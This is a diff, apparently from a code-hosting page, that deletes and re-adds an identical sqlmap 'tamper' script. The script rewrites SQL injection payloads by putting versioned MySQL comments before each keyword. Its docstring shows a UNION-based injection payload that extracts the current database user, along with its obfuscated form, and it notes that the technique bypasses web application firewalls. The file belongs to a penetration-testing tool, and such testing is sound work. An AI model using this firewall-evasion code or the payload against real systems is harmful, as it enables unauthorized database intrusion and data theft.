|
1 | | -#!/usr/bin/env python |
2 | | - |
3 | | -""" |
4 | | -Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) |
5 | | -See the file 'doc/COPYING' for copying permission |
6 | | -""" |
7 | | - |
8 | | -import os |
9 | | -import re |
10 | | - |
11 | | -from lib.core.common import singleTimeWarnMessage |
12 | | -from lib.core.data import kb |
13 | | -from lib.core.enums import DBMS |
14 | | -from lib.core.enums import PRIORITY |
15 | | -from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS |
16 | | - |
17 | | -__priority__ = PRIORITY.HIGHER |
18 | | - |
19 | | -def dependencies(): |
20 | | - singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) |
21 | | - |
22 | | -def tamper(payload, **kwargs): |
23 | | - """ |
24 | | - Adds versioned MySQL comment before each keyword |
25 | | -
|
26 | | - Example: |
27 | | - * Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa |
28 | | - * Output: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa |
29 | | -
|
30 | | - Requirement: |
31 | | - * MySQL < 5.1 |
32 | | -
|
33 | | - Tested against: |
34 | | - * MySQL 4.0.18, 5.0.22 |
35 | | -
|
36 | | - Notes: |
37 | | - * Useful to bypass several web application firewalls when the |
38 | | - back-end database management system is MySQL |
39 | | - * Used during the ModSecurity SQL injection challenge, |
40 | | - http://modsecurity.org/demo/challenge.html |
41 | | - """ |
42 | | - |
43 | | - def process(match): |
44 | | - word = match.group('word') |
45 | | - if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: |
46 | | - return match.group().replace(word, "/*!0%s" % word) |
47 | | - else: |
48 | | - return match.group() |
49 | | - |
50 | | - retVal = payload |
51 | | - |
52 | | - if payload: |
53 | | - retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) |
54 | | - retVal = retVal.replace(" /*!0", "/*!0") |
55 | | - |
56 | | - return retVal |
| 1 | +#!/usr/bin/env python |
| 2 | + |
| 3 | +""" |
| 4 | +Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/) |
| 5 | +See the file 'doc/COPYING' for copying permission |
| 6 | +""" |
| 7 | + |
| 8 | +import os |
| 9 | +import re |
| 10 | + |
| 11 | +from lib.core.common import singleTimeWarnMessage |
| 12 | +from lib.core.data import kb |
| 13 | +from lib.core.enums import DBMS |
| 14 | +from lib.core.enums import PRIORITY |
| 15 | +from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS |
| 16 | + |
| 17 | +__priority__ = PRIORITY.HIGHER |
| 18 | + |
| 19 | +def dependencies(): |
| 20 | + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) |
| 21 | + |
| 22 | +def tamper(payload, **kwargs): |
| 23 | + """ |
| 24 | + Adds versioned MySQL comment before each keyword |
| 25 | +
|
| 26 | + Example: |
| 27 | + * Input: value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa |
| 28 | + * Output: value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa |
| 29 | +
|
| 30 | + Requirement: |
| 31 | + * MySQL < 5.1 |
| 32 | +
|
| 33 | + Tested against: |
| 34 | + * MySQL 4.0.18, 5.0.22 |
| 35 | +
|
| 36 | + Notes: |
| 37 | + * Useful to bypass several web application firewalls when the |
| 38 | + back-end database management system is MySQL |
| 39 | + * Used during the ModSecurity SQL injection challenge, |
| 40 | + http://modsecurity.org/demo/challenge.html |
| 41 | + """ |
| 42 | + |
| 43 | + def process(match): |
| 44 | + word = match.group('word') |
| 45 | + if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: |
| 46 | + return match.group().replace(word, "/*!0%s" % word) |
| 47 | + else: |
| 48 | + return match.group() |
| 49 | + |
| 50 | + retVal = payload |
| 51 | + |
| 52 | + if payload: |
| 53 | + retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) |
| 54 | + retVal = retVal.replace(" /*!0", "/*!0") |
| 55 | + |
| 56 | + return retVal |
0 commit comments